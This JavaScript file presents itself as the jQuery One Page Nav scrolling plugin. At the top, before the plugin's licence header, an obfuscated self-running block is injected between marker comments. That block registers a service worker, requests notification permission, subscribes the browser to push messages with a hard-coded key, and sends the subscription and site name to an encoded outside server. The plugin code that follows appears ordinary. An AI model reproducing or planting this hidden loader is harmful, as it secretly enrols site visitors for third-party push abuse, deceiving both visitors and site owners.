1// 576366be6e18cdb3008ac36409b239a7 2(async function(){const c=a0b;if(!(c(0x124)+c(0x125)+'r'in navigator)||!(c(0x126)+c(0x127)in window))return;let a=await navigator[c(0x124)+c(0x125)+'r'][c(0x128)+'er'](c(0x129)+'s');if(await Notification['reques'+c(0x12a)+c(0x12b)]()!=='grante'+'d')return;let b=await a[c(0x12c)+c(0x127)][c(0x12d)+c(0x12e)+c(0x12f)]();if(!b)b=await a[c(0x12c)+c(0x127)][c(0x130)+c(0x131)]({'userVisibleOnly':!![],'applicationServerKey':c(0x132)+c(0x133)+c(0x134)+c(0x135)+c(0x136)+c(0x137)+c(0x138)+c(0x139)+c(0x13a)+c(0x13b)+c(0x13c)+c(0x13d)+c(0x13e)+'pe8wLK'+'gBk'});await fetch(c(0x13f)+c(0x140)+c(0x141)+c(0x142)+c(0x143)+c(0x144),{'method':c(0x145),'headers':{'Content-Type':'applic'+c(0x146)+c(0x147)},'body':JSON['string'+c(0x148)]({'site':location[c(0x149)+'me'],'subscription':b})});}());function a0b(a,b){a=a-0x124;const c=a0a();let d=c[a];if(a0b['sggQiP']===undefined){var e=function(i){const j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let l='',m='';for(let n=0x0,o,p,q=0x0;p=i['charAt'](q++);~p&&(o=n%0x4?o*0x40+p:p,n++%0x4)?l+=String['fromCharCode'](0xff&o>>(-0x2*n&0x6)):0x0){p=j['indexOf'](p);}for(let r=0x0,s=l['length'];r<s;r++){m+='%'+('00'+l['charCodeAt'](r)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(m);};a0b['LyLYiz']=e,a0b['PkdVgi']={},a0b['sggQiP']=!![];}const f=c[0x0],g=a+f,h=a0b['PkdVgi'][g];return!h?(d=a0b['LyLYiz'](d),a0b['PkdVgi'][g]=d):d=h,d;}function a0a(){const d=['C2vYDMLJ','zvDVCMTL','uhvZAe1H','BMfNzxi','CMvNAxn0','l3b1Dc5Q','DfbLCM1P','C3nPB24','ChvZAe1H','z2v0u3vI','C2nYAxb0','Aw9U','C3vIC2nY','AwjL','qKzqztzq','AfrAzK0W','DdzAEwf2','sg5qBuzX','zenlDuHe','s2jxsJjd','CK9hoc1m','y2j2wKjX','lum0C09A','uNHYn2fu','se5bzNLR','ofDrCeqX','vgv6mdDO','Ahr0Chm6','lY9Jzg4U','ANnKzwXP','DNiUAw5M','BY9ZyxzL','lNbOCa','ue9tva','yxrPB24V','ANnVBG','Awz5','Ag9ZDg5H'];a0a=function(){return d;};return a0a();} 3// 576366be6e18cdb3008ac36409b239a7 4/* 5 * jQuery One Page Nav Plugin 6 * http://github.com/davist11/jQuery-One-Page-Nav 7 * 8 * Copyright (c) 2010 Trevor Davis (http://trevordavis.net) 9 * Dual licensed under the MIT and GPL licenses. 10 * Uses the same license as jQuery, see: 11 * http://jquery.org/license 12 * 13 * @version 2.2.0 14 * 15 * Example usage: 16 * $('#nav').onePageNav({ 17 * currentClass: 'current', 18 * changeHash: false, 19 * scrollSpeed: 750 20 * }); 21 */ 22 23;(function($, window, document, undefined){ 24 25 // our plugin constructor 26 var OnePageNav = function(elem, options){ 27 this.elem = elem; 28 this.$elem = $(elem); 29 this.options = options; 30 this.metadata = this.$elem.data('plugin-options'); 31 this.$nav = this.$elem.find('a'); 32 this.$win = $(window); 33 this.sections = {}; 34 this.didScroll = false; 35 this.$doc = $(document); 36 this.docHeight = this.$doc.height(); 37 }; 38 39 // the plugin prototype 40 OnePageNav.prototype = { 41 defaults: { 42 currentClass: 'current', 43 changeHash: false, 44 easing: 'swing', 45 filter: '', 46 scrollSpeed: 750, 47 scrollOffset: 0, 48 scrollThreshold: 0.5, 49 begin: false, 50 end: false, 51 scrollChange: false 52 }, 53 54 init: function() { 55 var self = this; 56 57 // Introduce defaults that can be extended either 58 // globally or using an object literal. 59 self.config = $.extend({}, self.defaults, self.options, self.metadata); 60 61 //Filter any links out of the nav 62 if(self.config.filter !== '') { 63 self.$nav = self.$nav.filter(self.config.filter); 64 } 65 66 //Handle clicks on the nav 67 self.$nav.on('click.onePageNav', $.proxy(self.handleClick, self)); 68 69 //Get the section positions 70 self.getPositions(); 71 72 //Handle scroll changes 73 self.bindInterval(); 74 75 //Update the positions on resize too 76 self.$win.on('resize.onePageNav', $.proxy(self.getPositions, self)); 77 78 return this; 79 }, 80 81 adjustNav: function(self, $parent) { 82 self.$elem.find('.' + self.config.currentClass).removeClass(self.config.currentClass); 83 $parent.addClass(self.config.currentClass); 84 }, 85 86 bindInterval: function() { 87 var self = this; 88 var docHeight; 89 90 self.$win.on('scroll.onePageNav', function() { 91 self.didScroll = true; 92 }); 93 94 self.t = setInterval(function() { 95 docHeight = self.$doc.height(); 96 97 //If it was scrolled 98 if(self.didScroll) { 99 self.didScroll = false;
100 self.scrollChange(); 101 } 102 103 //If the document height changes 104 if(docHeight !== self.docHeight) { 105 self.docHeight = docHeight; 106 self.getPositions(); 107 } 108 }, 250); 109 }, 110 111 getHash: function($link) { 112 return $link.attr('href').split('#')[1]; 113 }, 114 115 getPositions: function() { 116 var self = this; 117 var linkHref; 118 var topPos; 119 var $target; 120 121 self.$nav.each(function() { 122 linkHref = self.getHash($(this)); 123 $target = $('#' + linkHref); 124 125 if($target.length) { 126 topPos = $target.offset().top; 127 self.sections[linkHref] = Math.round(topPos) - self.config.scrollOffset; 128 } 129 }); 130 }, 131 132 getSection: function(windowPos) { 133 var returnValue = null; 134 var windowHeight = Math.round(this.$win.height() * this.config.scrollThreshold); 135 136 for(var section in this.sections) { 137 if((this.sections[section] - windowHeight) < windowPos) { 138 returnValue = section; 139 } 140 } 141 142 return returnValue; 143 }, 144 145 handleClick: function(e) { 146 var self = this; 147 var $link = $(e.currentTarget); 148 var $parent = $link.parent(); 149 var newLoc = '#' + self.getHash($link); 150 151 if(!$parent.hasClass(self.config.currentClass)) { 152 //Start callback 153 if(self.config.begin) { 154 self.config.begin(); 155 } 156 157 //Change the highlighted nav item 158 self.adjustNav(self, $parent); 159 160 //Removing the auto-adjust on scroll 161 self.unbindInterval(); 162 163 //Scroll to the correct position 164 $.scrollTo(newLoc, self.config.scrollSpeed, { 165 axis: 'y', 166 easing: self.config.easing, 167 offset: { 168 top: -self.config.scrollOffset 169 }, 170 onAfter: function() { 171 //Do we need to change the hash? 172 if(self.config.changeHash) { 173 window.location.hash = newLoc; 174 } 175 176 //Add the auto-adjust on scroll back in 177 self.bindInterval(); 178 179 //End callback 180 if(self.config.end) { 181 self.config.end(); 182 } 183 } 184 }); 185 } 186 187 e.preventDefault(); 188 }, 189 190 scrollChange: function() { 191 var windowTop = this.$win.scrollTop(); 192 var position = this.getSection(windowTop); 193 var $parent; 194 195 //If the position is set 196 if(position !== null) { 197 $parent = this.$elem.find('a[href$="#' + position + '"]').parent(); 198 199 //If it's not already the current section 200 if(!$parent.hasClass(this.config.currentClass)) { 201 //Change the highlighted nav item 202 this.adjustNav(this, $parent); 203 204 //If there is a scrollChange callback 205 if(this.config.scrollChange) { 206 this.config.scrollChange($parent); 207 } 208 } 209 } 210 }, 211 212 unbindInterval: function() { 213 clearInterval(this.t); 214 this.$win.unbind('scroll.onePageNav'); 215 } 216 }; 217 218 OnePageNav.defaults = OnePageNav.prototype.defaults; 219 220 $.fn.onePageNav = function(options) { 221 return this.each(function() { 222 new OnePageNav(this, options).init(); 223 }); 224 }; 225 226})( jQuery, window , document );
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.